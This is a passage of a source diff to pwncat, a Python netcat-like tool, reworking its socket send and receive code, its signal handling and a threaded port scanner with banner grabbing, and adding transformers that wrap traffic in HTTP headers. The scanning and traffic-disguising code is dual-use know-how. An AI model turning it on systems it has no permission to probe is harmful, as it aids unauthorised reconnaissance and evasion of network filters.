# self.__log.trace("Closing %s socket", name) # type: ignore sock.close() - except (OSError, socket.error) as error: - self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore + except (OSError, socket.error): + pass + # self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore class Net(object): @@ -1695,12 +1773,12 @@ class Net(object): # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, encoder, ssig, options): - # type: (StringEncoder, StopSignal, DsSock) -> None + # type: (StringEncoder, InterruptHandler, DsSock) -> None """Instantiate Sock class. Args: encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - ssig (StopSignal): Used to stop blocking loops. + ssig (InterruptHandler): Used to stop blocking loops. options (DsSock): Instance of DsSock. """ self.__log = logging.getLogger(__name__) # type: logging.Logger @@ -1769,15 +1847,23 @@ class Net(object): # -------------------------------------------------------------------------- # Public Send / Receive Functions # -------------------------------------------------------------------------- + def send_eof(self): + # type: () -> None + """Close the active socket for sending. The remote part will get an EOF.""" + self.__sock.shutdown_send(self.__active["conn"], "conn") + def send(self, data): - # type: (str) -> int + # type: (bytes) -> int """Send data through a connected (TCP) or unconnected (UDP) socket. Args: - data (str): The data to send. + data (bytes): The data to send. Returns: int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. """ # UDP has some specialities as its socket is unconnected. # See also recv() for specialities on that side. @@ -1789,16 +1875,18 @@ class Net(object): if not self.__active: self.__log.warning("UDP client has not yet connected. Queueing message") while not self.__active: + if self.__ssig.has_sock_quit(): + self.__log.trace( # type: ignore + "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)" + ) + return -1 time.sleep(0.01) curr = 0 # bytes send during one loop iteration send = 0 # total bytes send size = len(data) # bytes of data that needs to be send - byte = self.__enc.encode(data) - assert size == len(byte), "Encoding messed up string length, might need to do len() after." # Loop until all bytes have been send - # TODO: Does this make it impossible to send nullbytes (Ctrl+d) while send < size: self.__log.debug( "Trying to send %d bytes to %s:%d", @@ -1806,23 +1894,23 @@ class Net(object): self.__active["remote_addr"], self.__active["remote_port"], ) - self.__log.trace("Trying to send: %s", repr(byte)) # type: ignore + self.__log.trace("Trying to send: %s", repr(data)) # type: ignore try: # Only UDP server has not made a connect() to the socket, all others # are already connected and need to use send() instead of sendto() if self.__udp_mode_server: curr = self.__active["conn"].sendto( - byte, (self.__active["remote_addr"], self.__active["remote_port"]) + data, (self.__active["remote_addr"], self.__active["remote_port"]) ) send += curr else: - curr = self.__active["conn"].send(byte) + curr = self.__active["conn"].send(data) send += curr if curr == 0: self.__log.error("No bytes send during loop round.") return 0 # Remove 'curr' many bytes from byte for the next round - byte = byte[curr:] + data = data[curr:] self.__log.debug( "Sent %d bytes to %s:%d (%d bytes remaining)", curr, @@ -1830,23 +1918,23 @@ class Net(object): self.__active["remote_port"], size - send, ) - except (OSError, socket.error) as error: - self.__log.error("Socket OS Error: %s", error) - return send + except (IOError, OSError, socket.error) as error: + msg = "Socket send Error: {}".format(error) + raise socket.error(msg) return send def receive(self): - # type: () -> str + # type: () -> bytes """Receive and return data from the connected (TCP) or unconnected (UDP) socket. Returns: - str: Returns received data from connected (TCP) or unconnected (UDP) socket. + bytes: Returns received data from connected (TCP) or unconnected (UDP) socket. Raises: socket.timeout: Except here to do an action when the socket is not busy. AttributeError: Except here when current instance has closed itself (Ctrl+c). socket.error: Except here when unconnected or connection was forcibly closed. - EOFError: Except here when upstream has closed the connection. + EOFError: Except here when upstream has closed the connection via EOF. """ # This is required for a UDP server that has no connected clients yet # and is waiting for data receival for the first time on either IPv4 or IPv6 @@ -1862,9 +1950,9 @@ class Net(object): 0 ] # type: List[socket.socket] # E.g.: ValueError: file descriptor cannot be a negative integer (-1) - except (ValueError, AttributeError): - msg = "Connection was closed by self." - self.__log.warning(msg) + except (ValueError, AttributeError) as error: + msg = "Connection was closed by self: [1]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) if not conns: # This is raised for the calling function to determine what to do @@ -1876,12 +1964,12 @@ class Net(object): conn = conns[0] # type: socket.socket try: # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html - (byte, addr) = conn.recvfrom(self.__options.bufsize) + (data, addr) = conn.recvfrom(self.__options.bufsize) # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called) - except AttributeError: - msg = "Connection was closed by self." - self.__log.warning(msg) + except AttributeError as error: + msg = "Connection was closed by self: [2]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) # [2/5] Connection was forcibly closed @@ -1889,14 +1977,14 @@ class Net(object): # [Errno 10054] An existing connection was forcibly closed by the remote host # [WinError 10054] An existing connection was forcibly closed by the remote host except (OSError, socket.error) as error: - self.__log.warning("Connection error: %s", error) + self.__log.debug("Connection error: %s", error) raise socket.error(error) # [3/5] Upstream (server or client) is gone. # In TCP, there is no such thing as an empty message, so zero means a peer disconnect. # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram. - if not byte: - msg = "Upstream has closed the connection." + if not data: + msg = "EOF: Remote finished sending." self.__log.info(msg) raise EOFError(msg) @@ -1934,7 +2022,6 @@ class Net(object): } # [5/5] We have data to process - data = self.__enc.decode(byte) self.__log.debug( "Received %d bytes from %s:%d", len(data), @@ -1969,6 +2056,7 @@ class Net(object): "conn": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -2073,6 +2161,7 @@ class Net(object): "sock": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -2171,24 +2260,27 @@ class Net(object): return False # (2/3) Accept + remove = {} try: conn, client = self.__sock.accept( - [conns[family]["sock"] for family in conns], self.__ssig.has_stop + [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit ) conns[conn.family]["conn"] = conn conns[conn.family]["remote_addr"] = client[0] conns[conn.family]["remote_port"] = client[1] except socket.error as err: - # On error, remove all bind sockets - for family in conns: - self.__log.debug( - "Removing (family %d/%s) due to: %s", - family, - self.__sock.get_family_name(family), - err, - ) - self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) - del conns[family] + remove = {family: str(err) for family in conns} + # On error, remove all bind sockets + for family in remove: + self.__log.debug( + "Removing (family %d/%s) due to: %s", + family, + self.__sock.get_family_name(family), + remove[family], + ) + self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) + del conns[family] + if not conns: return False # (3/3) Store connections @@ -2221,7 +2313,7 @@ class Net(object): # [2/3] Accept try: conn, client = self.__sock.accept( - [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_stop + [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit ) except socket.error: return False @@ -2262,7 +2354,7 @@ class Net(object): # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (1/3): Transform +# [5/11 TRANSFORM]: (1/5): Transform # ------------------------------------------------------------------------------------------------- class Transform(ABC): # type: ignore """Abstract class to for pwncat I/O transformers. @@ -2294,16 +2386,19 @@ class Transform(ABC): # type: ignore # -------------------------------------------------------------------------- @abstractmethod def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Implement a transformer function which transforms a string.. + Args: + data (bytes): data to be transformed. + Returns: - str: The transformed string. + bytes: The transformed string. """ # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (2/3) TransformLinefeed +# [5/11 TRANSFORM]: (2/5) TransformLinefeed # ------------------------------------------------------------------------------------------------- class TransformLinefeed(Transform): """Implement basic linefeed replacement.""" @@ -2326,7 +2421,7 @@ class TransformLinefeed(Transform): # Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Transform linefeeds to CRLF, LF or CR if requested. Returns: @@ -2338,46 +2433,46 @@ class TransformLinefeed(Transform): # ? -> No line feeds if self.__opts.crlf == "no": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Removing CRLF") return data[:-2] - if data.endswith("\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Removing LF") return data[:-1] - if data.endswith("\r"): + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Removing CR") return data[:-1] # ? -> CRLF - if self.__opts.crlf == "crlf" and not data.endswith("\r\n"): - if data.endswith("\n"): + if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CRLF") - return data[:-1] + "\r\n" - if data.endswith("\r"): + return data[:-1] + StringEncoder.encode("\r\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with CRLF") - return data[:-1] + "\r\n" + return data[:-1] + StringEncoder.encode("\r\n") # ? -> LF if self.__opts.crlf == "lf": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with LF") - return data[:-2] + "\n" - if data.endswith("\r"): + return data[:-2] + StringEncoder.encode("\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with LF") - return data[:-1] + "\n" + return data[:-1] + StringEncoder.encode("\n") # ? -> CR if self.__opts.crlf == "cr": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with CR") - return data[:-2] + "\r" - if data.endswith("\n"): + return data[:-2] + StringEncoder.encode("\r") + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CR") - return data[:-1] + "\r" + return data[:-1] + StringEncoder.encode("\r") # Otherwise just return it as it is return data # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (3/3) TransformSafeword +# [5/11 TRANSFORM]: (3/5) TransformSafeword # ------------------------------------------------------------------------------------------------- class TransformSafeword(Transform): """Implement a trigger to emergency shutdown upon receival of a specific safeword.""" @@ -2401,18 +2496,166 @@ class TransformSafeword(Transform): # Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Raise a stop signal upon receiving the safeword. Returns: str: The string as it is without changes """ - if self.__opts.safeword in data: - self.__log.info("Received safeword: raising stop signal.") - self.__opts.ssig.raise_stop() + if StringEncoder.encode(self.__opts.safeword) in data: + self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform") # type: ignore + self.__opts.ssig.raise_terminate() return data +# ------------------------------------------------------------------------------------------------- +# [5/11 TRANSFORM]: (4/5) TransformHttpPack +# ------------------------------------------------------------------------------------------------- +class TransformHttpPack(Transform): + """Implement a transformation to pack data into HTTP packets.""" + + # -------------------------------------------------------------------------- + # Constructor / Destructor + # -------------------------------------------------------------------------- + def __init__(self, opts): + # type: (Dict[str, str]) -> None + """Set specific options for this transformer. + + Args: + opts (DsTransformLinefeed): Transformer options. + + """ + super(TransformHttpPack, self).__init__() + self.__opts = opts + self.__log = logging.getLogger(__name__) + + assert "reply" in opts + assert opts["reply"] in ["request", "response"] + + # Initial default header + self.__headers = [ + "Accept-Charset: utf-8", + ] + + self.__response_headers_sent = False + + # -------------------------------------------------------------------------- + # Public Functions + # -------------------------------------------------------------------------- + def transform(self, data): + # type: (bytes) -> bytes + """Wrap data into a HTTP packet. + + Returns: + bytes: The wrapped string. + """ + request_header = [ + "POST / HTTP/1.1", + "Host: {}".format(self.__opts["host"]), + "User-Agent: pwncat", + "Accept: */*", + "Conent-Length: {}".format(len(data)), + "Content-Type: text/plain; charset=UTF-8", + ] + response_header = [ + "HTTP/1.1 200 OK", + "Date: {}".format(self.__get_date()), + "Server: pwncat", + "Conent-Length: {}".format(len(data)), + "Connection: close", + ] + + self.__response_headers_sent = True + + if self.__opts["reply"] == "request": + header = StringEncoder.encode( + "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n" + ) + else: + header = StringEncoder.encode( + "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n" + ) + return header + data + + # -------------------------------------------------------------------------- + # Private Functions + # -------------------------------------------------------------------------- + def __get_date(self): # pylint: disable=no-self-use + # type: () -> str + now = datetime.utcnow() + weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()] + month = [ + "Jan", + "Feb", + "Mar", + "Apr", + "May", + "Jun", + "Jul", + "Aug", + "Sep", + "Oct", + "Nov", + "Dec", + ][now.month - 1] + return "%s, %02d %s %04d %02d:%02d:%02d GMT" % ( + weekday, + now.day, + month, + now.year, + now.hour, + now.minute, + now.second, + ) + + +# ------------------------------------------------------------------------------------------------- +# [5/11 TRANSFORM]: (5/5) TransformHttpUnpack +# ------------------------------------------------------------------------------------------------- +class TransformHttpUnpack(Transform): + """Implement a transformation to unpack data from HTTP packets.""" + + # -------------------------------------------------------------------------- + # Constructor / Destructor + # -------------------------------------------------------------------------- + def __init__(self, opts): + # type: (Dict[str, str]) -> None + """Set specific options for this transformer. + + Args: + opts (DsTransformLinefeed): Transformer options. + + """ + super(TransformHttpUnpack, self).__init__() + self.__opts = opts + self.__log = logging.getLogger(__name__) + + # -------------------------------------------------------------------------- + # Public Functions + # -------------------------------------------------------------------------- + def transform(self, data): + # type: (bytes) -> bytes + """Unwrap data from a HTTP packet. + + Returns: + str: The wrapped string. + """ + request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)") + response = StringEncoder.encode(r"^HTTP/[.0-9]+") + + # Did not receive a valid HTTP request, so we return the original untransformed message + if not (re.match(request, data) or re.match(response, data)): + return data + + body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)") + match = re.search(body, data) + + # Check if we can separate headers and body + if match is None or len(match.group()) < 2: + return data + return match.group(2) + + # ################################################################################################# # ################################################################################################# # ### @@ -2445,8 +2688,8 @@ class IO(ABC): # type: ignore # -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Read only property to provide a StopSignal instance to IO.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig @property @@ -2460,11 +2703,11 @@ class IO(ABC): # type: ignore # -------------------------------------------------------------------------- @abstractmethod def __init__(self, ssig): - # type: (StopSignal) -> None + # type: (InterruptHandler) -> None """Set specific options for this IO module. Args: - ssig (StopSignal): StopSignal instance used by the interrupter. + ssig (InterruptHandler): InterruptHandler instance used by the interrupter. """ super(IO, self).__init__() self.__ssig = ssig @@ -2475,7 +2718,7 @@ class IO(ABC): # type: ignore # -------------------------------------------------------------------------- @abstractmethod def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Implement a generator function which constantly yields data. The data could be from various sources such as: received from a socket, @@ -2487,7 +2730,7 @@ class IO(ABC): # type: ignore @abstractmethod def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Define a consumer callback which will apply an action on the producer output. Args: @@ -2502,8 +2745,6 @@ class IO(ABC): # type: ignore Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer. - - You should at least implement it with "self.ssig.raise_stop()" """ @@ -2513,12 +2754,18 @@ class IO(ABC): # type: ignore class IONetwork(IO): """Pwncat implementation based on custom Socket library.""" + @property + def net(self): + # type: () -> Net + """Returns instance of Net.""" + return self.__net + # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str ports, # type: List[int] @@ -2531,7 +2778,7 @@ class IONetwork(IO): """Create a Pwncat instance of either a server or a client. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. ports ([int]): List of ports to connect to or listen on. @@ -2549,6 +2796,9 @@ class IONetwork(IO): self.__srv_opts = srv_opts self.__cli_opts = cli_opts + # Did we already run cleanup + self.__cleaned_up = False + # Internally store addresses for reconn or rebind functions self.__host = host self.__ports = ports @@ -2567,7 +2817,7 @@ class IONetwork(IO): # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Network receive generator which hooks into the receive function and adds features. Yields: @@ -2583,9 +2833,16 @@ class IONetwork(IO): try: yield self.__net.receive() # [2/3] Non-blocking socket is finished receiving data and allows us to do some action - except socket.timeout: + except socket.timeout as err: + # Check if we close the socket for sending + if self.ssig.has_sock_send_eof(): + self.log.trace( # type: ignore + "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err + ) + self.__net.send_eof() + # Let's ask the interrupter() function if we should terminate? - if not self.ssig.has_stop(): + if not self.ssig.has_sock_quit(): continue # Stop signal is raied when my own side of the network was closed. # Happened most likely that the user pressed Ctrl+c @@ -2600,12 +2857,19 @@ class IONetwork(IO): curr_recv_timeout_retry += 1 continue # We ware all done reading, shut down - self.ssig.raise_stop() + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err + ) + self.__cleanup() return - # [3/3] Upstream is gone - except (EOFError, AttributeError, socket.error): + # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar) + except (EOFError, AttributeError, socket.error) as err: # Do we have a stop signal? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err + ) + self.__cleanup() return # Do we re-accept new clients? if self.__sock_opts.udp: @@ -2615,27 +2879,37 @@ class IONetwork(IO): continue if self.__role == "client" and self.__client_reconnect_to_server(): continue - return + # Inform everybody that we are quitting + self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer") # type: ignore + self.ssig.raise_sock_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data to a socket.""" - self.__net.send(data) + try: + self.__net.send(data) + except socket.error: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IONetwork] socket.close was raised by calling interrupt() externally." - ) - self.__net.close_conn_sock() - self.__net.close_bind_sock() - # Raise stop signal - self.ssig.raise_stop() + self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt") # type: ignore + self.ssig.raise_sock_quit() + self.__cleanup() # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore + self.__net.close_conn_sock() + self.__net.close_bind_sock() + self.__cleaned_up = True + def __client_reconnect_to_server(self): # type: () -> bool """Ensure the client re-connects to the remote server, if the remote server hang up. @@ -2648,13 +2922,14 @@ class IONetwork(IO): # reconn < 0 (endlessly) # reconn > 0 (reconnect until counter reaches zero) while self.__cli_opts.reconn != 0: - # [1/6] Let's ask the interrupter() function if we should terminate? # We need a little wait here in order for the stop signal to propagate. # Don't know how fast the other threads are. - # time.sleep(0.1) - # if self.ssig.has_stop(): - # return False + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]" + ) + return False # [2/6] Wait time.sleep(self.__cli_opts.reconn_wait) @@ -2662,7 +2937,10 @@ class IONetwork(IO): # [3/6] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/5] # we will check again here. - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]" + ) return False # [4/6] Increment the port numer (if --reconn-robin has multiple) @@ -2706,7 +2984,10 @@ class IONetwork(IO): while self.__srv_opts.rebind != 0: # [1/7] Let's ask the interrupter() function if we should terminate? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]" + ) return False # [2/7] Increment the port numer (if --reconn-robin has multiple) @@ -2739,7 +3020,10 @@ class IONetwork(IO): # [6/7] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/7] # we will check again here. - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]" + ) return False # [6/7] Recurse until True or reconnect count is used up @@ -2768,9 +3052,12 @@ class IONetwork(IO): # [MAYBE] Check stop signal and otherwise try until success. while True: - time.sleep(0.1) + time.sleep(0.01) # [NO] We have a stop signal - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client" + ) return False # [YES] Re-accept indefinitely self.log.info("Re-accepting new clients") @@ -2811,7 +3098,7 @@ class IONetworkScanner(IO): # -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str banner, # type: bool @@ -2822,7 +3109,7 @@ class IONetworkScanner(IO): """Create a Pwncat Network Scanner instance. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. banner (bool): Determines if we do banner grabbing as well. @@ -2831,19 +3118,19 @@ class IONetworkScanner(IO): """ super(IONetworkScanner, self).__init__(ssig) + self.__ssig = ssig self.__enc = encoder self.__cli_opts = cli_opts self.__sock_opts = sock_opts self.__banner = banner self.__log = logging.getLogger(__name__) - self.__net = Net(encoder, ssig, sock_opts) self.__sock = Sock() self.__screen_lock = threading.Semaphore() # Keep track of local binds (addr-port) of the threaded scanner # clients as we do not want to treat them as open ports (false posistives) - self.__local_binds = [] # type: List[str] + self.__local_binds = {} # type: Dict[str, socket.socket] # Compile our regexes if using banner detection if banner: @@ -2861,13 +3148,13 @@ class IONetworkScanner(IO): int(socket.AF_INET), ] self.__targets = {} - try: - for family in families: + for family in families: + try: self.__targets[family] = self.__sock.gethostbyname( host, family, not self.__sock_opts.nodns ) - except socket.gaierror: - pass + except socket.gaierror: + pass # -------------------------------------------------------------------------- # Public Functions @@ -2875,18 +3162,24 @@ class IONetworkScanner(IO): def __get_socket(self, family): # type: (Union[socket.AddressFamily, int]) -> socket.socket """Create socket for specific address family endlessly until resources are available.""" - # The scanner is starting many threads, each creating a single socket - # and we might hit the max allowed open files limit, so we will - # endlessly ask the system for a new socket until success. - # Also adding a delay, which will give other threads the time to - # release their sockets. + # The scanner starts one thread for each port to scan. Each thread will also create + # one socket and we might hit the max_allowed_files limit (ulimit). + # That's why we loop through creating sockets until we hit a success + # as in the meantime, other threads might have already released sockets/fd's. while True: + delay = 0.0 + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getsocket" + ) + raise socket.error("quit") try: if self.__sock_opts.udp: - return self.__sock.create_socket(family, socket.SOCK_DGRAM) - return self.__sock.create_socket(family, socket.SOCK_STREAM) + return self.__sock.create_socket(family, socket.SOCK_DGRAM, False) + return self.__sock.create_socket(family, socket.SOCK_STREAM, False) except socket.error: - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # This can be bigger to give the system some time to release fd's def __get_banner_version(self, banner): # type: (str) -> Optional[str] @@ -2903,7 +3196,7 @@ class IONetworkScanner(IO): for reg in self.BANNER_REG_COMP: match = re.search(reg, banner) if match: - return match.group(1).rstrip() + return StringEncoder.rstrip(match.group(1)) # type: ignore # Nothing found, return first non-empty line for line in lines: @@ -2922,25 +3215,30 @@ class IONetworkScanner(IO): payloads = self.BANNER_PAYLOADS[0] for payload in payloads: + # Break the loop on terminate signal + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port + ) + return (False, None) try: if payload is not None: sock.send(self.__enc.encode(payload)) self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload)) - sock.settimeout(0.1) + sock.settimeout(0.5) banner = sock.recv(self.__sock_opts.bufsize) version = self.__get_banner_version(self.__enc.decode(banner)) self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner)) return (True, version) except socket.timeout: - time.sleep(0.1) continue except (OSError, socket.error): return (False, None) return (True, None) def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Port scanner yielding open/closed string for given port. Args: @@ -2955,13 +3253,25 @@ class IONetworkScanner(IO): # Loop over adress families for family in self.__targets: + # [1/7] Check for termination request + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner.producer" + ) + return + addr = self.__targets[family] - # [1/5] Get socket - sock = self.__get_socket(family) + # [2/7] Get socket + try: + sock = self.__get_socket(family) + sock_type = sock.type + except (AttributeError, socket.error): + # Exception is triggered due to stop stignal and we + # will abort here in that case. + return - # [2/5] Connect scan - succ_conn = False + # [3/7] Connect scan try: laddr, lport = self.__sock.connect( sock, @@ -2975,64 +3285,78 @@ class IONetworkScanner(IO): 0.1, ) # Append local binds (addr-port) to check against during port scan - self.__local_binds.append(str(laddr + "-" + str(lport))) - succ_conn = True + key = str(laddr + "-" + str(lport)) + self.__local_binds[key] = sock except socket.error: - succ_conn = False + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + continue - # [3/5] Banner grabbing + # [4/7] False positives + # Connect was successful, but against a local bind of one of our + # port scanners, so this is a false positive. + if str(addr + "-" + str(port)) in self.__local_binds: + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + del self.__local_binds[key] + continue + + # [5/7] Banner grabbing succ_banner = True banner = None if self.__banner: (succ_banner, banner) = self.__get_banner(sock, addr, port) - # [4/5] Evaluation - if banner is not None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({}): {}".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - banner, - ) - if banner is None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({})".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - ) + # [6/7] Evaluation + if banner is not None and succ_banner: + msg = "[+] {:>5}/{} open ({}): {}".format( + port, + self.__sock.get_type_name(sock_type), + self.__sock.get_family_name(family), + banner, + ) + yield self.__enc.encode(msg) + if banner is None and succ_banner: + msg = "[+] {:>5}/{} open ({})".format( + port, self.__sock.get_type_name(sock_type), self.__sock.get_family_name(family), + ) + yield self.__enc.encode(msg) - # [5/5] Cleanup - self.__sock.close(sock, addr + "-" + str(port)) - try: - self.__local_binds.remove(str(addr + "-" + str(port))) - except ValueError: - pass + # [7/7] Cleanup + self.__sock.close(sock, key) + del self.__local_binds[key] def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe self.__screen_lock.acquire() - print(data) + print(StringEncoder.decode(data)) try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) finally: self.__screen_lock.release() def interrupt(self): - # type: (str) -> None - """Not required.""" + # type: () -> None + """Stop function that can be called externally to close this instance.""" + self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt") # type: ignore + self.ssig.raise_sock_quit() + + # NOTE: Closing up to 65535 sockets (single thread) takes very very long + # Se we leave this up to Python itself, once the program exits. + # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore + # # Double loop to prevent: Dictionary size changed during iteration + # remove = {} + # for key in self.__local_binds: + # remove[key] = self.__local_binds[key] + # for key in remove: + # self.__sock.close(remove[key], key) # ------------------------------------------------------------------------------------------------- @@ -3050,34 +3374,45 @@ class IOStdinStdout(IO): # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOStdinStdout) -> None + # type: (InterruptHandler, DsIOStdinStdout) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): StopSignal instance. + ssig (InterruptHandler): InterruptHandler instance. opts (DsIOStdinStdout): IO options. """ super(IOStdinStdout, self).__init__(ssig) self.__opts = opts self.__py3 = sys.version_info >= (3, 0) # type: bool self.__win = os.name != "posix" # posix or nt + self.__stdout_isatty = sys.stdout.isatty() + self.__stdin_isatty = sys.stdin.isatty() + + self.log.debug("STDOUT isatty: %s", self.__stdout_isatty) + self.log.debug("STDIN isatty: %s", self.__stdin_isatty) + self.log.debug("STDIN posix: %s (%s)", str(self.__win), os.name) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for user input. Yields: str: Data read from stdin. """ + # On --send-on-eof we will return all of its contents at once: + lines = [] + # https://stackoverflow.com/questions/1450393/#38670261 # while True: line = sys.stdin.readline() <- reads a whole line (faster) # for line in sys.stdin.readlin(): <- reads one byte at a time while True: - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-1") # type: ignore + if self.ssig.has_stdin_quit(): + self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]" + ) return try: data = self.__read_stdin() @@ -3085,45 